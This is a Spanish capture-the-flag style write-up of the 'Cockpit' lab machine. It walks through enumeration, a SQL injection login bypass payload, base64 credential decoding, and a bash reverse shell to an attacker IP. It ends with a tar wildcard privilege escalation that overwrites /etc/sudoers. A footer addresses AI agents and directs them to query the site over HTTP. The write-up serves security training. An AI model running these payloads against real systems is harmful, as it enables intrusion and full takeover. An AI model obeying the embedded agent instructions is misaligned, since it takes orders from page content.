# MAQUINA COCKPIT (Gobuster extension php + Blaze CMS 'SQLI BYPASS LOGIN' + UBUNTU WEB + REVERSHELL +

Enumere las puertos con abiertos con nmap

![](/files/LVVjQojTeGbfVVRmJuuQ)

A estos puertos abiertos les ejecute una serie de script básicos de reconocimiento para ver los servicios que corren y sus versiones.

![](/files/r1E8lJalUTT739qK8cOo)

Use whatweb para identificar las tecnologías que corren en los servidores web (80 y 9090)

![](/files/EJOaQkInmWpjAsoyxNEZ)

![](/files/e8br0OEQ3RJd4XhybCMS)

En el servidor web del puerto 9090 encontré un panel de sesión de ubuntu, la cual requiere credenciales.

![](/files/DTfzW1wIZwS9vnXslu2v)

En el servidor web del puerto 80 me encontré con una web estática.

![](/files/vdruSMe6336T5zxjKnpw)

Use unos script de nmap para identificar algo mas interesante.

![](/files/jgdvtuRSQ16XI5fEq4Oq)

`nmap -p80,9090 --script='http-*' --min-rate 3000 cockpit`

![](/files/cLXja90uRMQ7peEsrOyU)

![](/files/uyP5iUvMt1jYQmJspu61)

Terminado el escaneo observe que posiblemente esta corriendo en php la pagina web del puerto 80.

![](/files/BuL6SRLtQk3sdprdYWo2)

Use gobuster para encontrar directorios ocultos, a este escaneo le agregue extensiones php,html,txt.

![](/files/NnXrQ6WPQiJoz7mCFp9Q)

Finalizado el escaneo de directorios, la herramienta encontró un directorio llamado login.php.

![](/files/GHFAZoDIj75mdwx6bPMP) ![](/files/s3lVSBCZCz4ZK33EjMIr)

Como no tengo credenciales intente realizar una sqlijection, una vez enviado me devuelve el siguiente error.

![](/files/aKpz69XGRVysKf9uGb9k)

Luego de buscar en google alguna bypass de autenticación, utilice el siguiente:

![](/files/WJzW80116VwGLBr6cVOF)

'OR "='

Finalmente funciono y logre el acceso al servidor web donde encontré credenciales las cual las contraseñas se encontraban hasheadas.

![](/files/49vnpeAVfAHewdT7yRkM)

Con esta herramienta logre identificar los hashes: <https://hashes.com/es/tools/hash_identifier>

![](/files/MlbMNyACxZIdjA3SmRQn) ![](/files/Y33zzfTw5tPeV82LUf9B)

Como me indica, están encondeadas en base64 por lo que paso a decodificarlas con el parámetro "base64 -d" logrando obtener las credenciales en texto plano.

![](/files/VYbxA35tvNA3Nv20FFJr)

Seguido volví al panel de sesión del servidor web que corre por el puerto 9090.. Una vez allí probé las credenciales de los 2 usuarios.

En este caso me centre en el usuario james.

![](/files/eX9k0xZ6IYseoUtpx0yT)

![](/files/rG3HtcNFgR72z7vhiPz6)

Ya dentro, luego de realizar un reconocimiento encorte una terminal donde puedo ejecutar comandos como el usuario james.

Aproveche esto y realice una revershell para conectarme desde esta maquina a mi maquina atacante.

`bash -i >& /dev/tcp/192.168.45.159/80 0>&1`

Busque la forma de escalar privilegios, para ellos ejecute el comando sudo -l y vi que puedo ejecutar el binario "tar".

Para explotar este binario se requiere 3 archivos:

INFO: [https://medium.com/@polygonben/linux-privilege-escalation-wildcards-with-tar-](https://medium.com/%40polygonben/linux-privilege-escalation-wildcards-with-tar-f79ab9e407fa) [f79ab9e407fa](https://medium.com/%40polygonben/linux-privilege-escalation-wildcards-with-tar-f79ab9e407fa)

`# 1. Create files in the current directory called`

`# '--checkpoint=1' and '--checkpoint-action=exec=sh privesc.sh'`

`echo "" > '--checkpoint=1'`

`echo "" > '--checkpoint-action=exec=sh privesc.sh'`

`# 2. Create a privesc.sh bash script, that allows for privilege escalation`

`#malicous.sh:`

`echo 'kali ALL=(root) NOPASSWD: ALL' > /etc/sudoers`

`#The above injects an entry into the /etc/sudoers file that allows the 'kali'`

`#user to use sudo without a password for all commands`

`#NOTE: we could have also used a reverse shell, this would work the same!`

`#OR: Even more creative, you could've used chmod to changes the permissions #on a binary to have SUID permissions, and PE that way`

`touch ./--checkpoint=1`

`touch ./--checkpoint-action=exec=sh privesc.sh`

`chmod +x privesc.sh`

Por ultimo ejecuto el binario.

Luego de unos segundos ejecute el comandos script y observe que logre logearme como usuario root.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://1gnotus.gitbook.io/ignotus_pwn/proving-ground-practice-and-play/writeup/maquina-cockpit-gobuster-extension-php-+-blaze-cms-sqli-bypass-login-+-ubuntu-web-+-revershell-+.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
